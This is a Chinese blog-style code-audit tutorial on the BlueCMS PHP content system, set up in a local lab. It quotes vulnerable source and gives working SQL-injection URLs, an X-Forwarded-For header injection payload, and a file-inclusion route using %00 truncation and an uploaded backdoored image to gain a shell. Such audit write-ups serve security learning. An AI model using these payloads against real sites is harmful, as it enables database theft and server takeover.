前言
本来早就说要发代码审计的文章了,但是因为些原因搁置了,现在开始更,预计以一周一到两套CMS的速度更新,也是记录自己的学习过程,目前以PHP为主,之后也会更新JAVA的,但那是比较后面的事了。
正文
源码下载地址在文章最后
源码安装
我这里采用小皮面板搭建,过程简单
把下载好的源码解压到任意文件夹,创建网站,指定uploads目录
创建后访问/install目录即可开始安装
如果访问空白,查看installcompile目录下是否有.php文件,删除即可
SQL注入漏洞
我们可以采用sql注入挖掘的通用正则匹配搜索
(update|select|insert|delete|).*?where.*=
筛查了很多文件,我们要根据两个点来优先查看
-
代码:有无明显参数,代码中有无明显过滤
-
文件名:根据文件名来进行判断
前台SQL注入
我们在筛选结果中,发现前台的一个ad_js.php文件,定位到对应代码段
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
if($ad['time_set'] == 0)
{
$ad_content = $ad['content'];
}
发现它这里Get接收的ad_id的值直接拼接到了sql语句中,而且好像没有过滤,他这里使用getone调用语句,这个getone不是php自带的函数,所以我们转到它函数的声明,看一下它是做什么的
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
getone有两个参数,$sql和$type,字面意思第一个应该是执行语句,第二行是语句类型,第二行有个query函数,我们接着跳转一下
function query($sql){
if(!$query=@mysql_query($sql, $this->linkid)){
$this->dbshow("Query error:$sql");
}else{
return $query;
}
}
mysql_query是用于发送sql查询的,他这里的意思就是判断有没有做查询,那我们回去
它把查询后的结果存放到$query中,然后使用mysql_fetch_array获取返回结果,再使用return输出
那么大概的一个流程我们就知道了,而且它这里我们也没看到过滤代码,那么我们直接访问对应文件进行测试
http://127.0.0.1:81/ad_js.php?ad_id=1
在后面拼接上查询语句
http://127.0.0.1:81/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,database()
漏洞存在
后台SQL注入
产生注入的是后台的一个ad.php文件,我们定位到对应代码段
elseif($act == 'edit')
{
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
return false;
}
$ad = $db->getone("SELECT ad_id, ad_name, time_set, start_time, end_time, content, exp_content FROM ".table('ad')." WHERE ad_id=".$ad_id);
可以看到它这里用的是我们第一处的自定义函数,那么只要它这里没有过滤代码,就一样会有注入
变量ad_id是直接get传参,然后我们要触发这个代码段,要满足elseif的条件$act == 'edit'
我们查看下$act的声明
$act = !empty($_REQUEST['act']) ? $_REQUEST['act'] : 'list';
全局传参,那没啥说的了,我们登入后构造对应的url
http://127.0.0.1:81/admin/ad.php?act=edit&ad_id=1
在后面加上注入语句
http://127.0.0.1:81/admin/ad.php?act=edit&ad_id=1%20union%20select%201,version(),3,4,5,6,database()
前台XFF注入
这个是通过扫描工具扫出来的
定位到代码段
/**
*
* 获取用户IP
*
*/
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
这个它这个自定义函数的作用是获取我们的XFF头,我们全局搜索一下这个函数的使用
第一处也有,但是利用比起第二处要求更多,而且需要登入,所以我们这里演示第二处
$online_ip = getip();
它这里把getip赋值给变量online_ip那我们就查看online_ip的用例
我们查看第一个guest_book.php文件
elseif ($act == 'send')
{
$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
$rid = intval($_POST['rid']);
$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
$content = nl2br($content);
if(empty($content))
{
showmsg('评论内容不能为空');
}
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
$db->query($sql);
showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']);
}
语句代码
"INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')"
我们把查询语句带入后
"INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '127.0.0.1',database())-- +', '$content')"
发现它这里使用的是query,那就说明没有过滤,存在注入,我们访问对应文件
http://127.0.0.1:81/guest_book.php
使用burp抓包,伪造XFF头
X-Forwarded-For: 127.0.0.1',database())-- +
查看留言
获取到数据库信息,漏洞存在。
文件包含漏洞
漏洞文件在user.php,我们定位到代码段
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('对不起,您没有选择支付方式');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}
这个漏洞咋说呢,虽然它这里没有对pay参数进行过滤,但是它后面还会拼接一个index.php文件,所以我们的重点是如何截断。如果php版本低于5.3.4且magic_quotes_gpc=off则可以使用%00截断
然后它的后台有上传头像功能,我们可以上传带后门的图片文件,再包含即可getshell
最后
bluecms采用的原生的PHP开发,路由结构简单,比较适合代审小白练手,除了,我文中提到的几处,还有很多其它漏洞,各位可以自行下去挖掘。
原文始发于微信公众号(菜狗安全):代审小白的成长之路之BlueCMS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论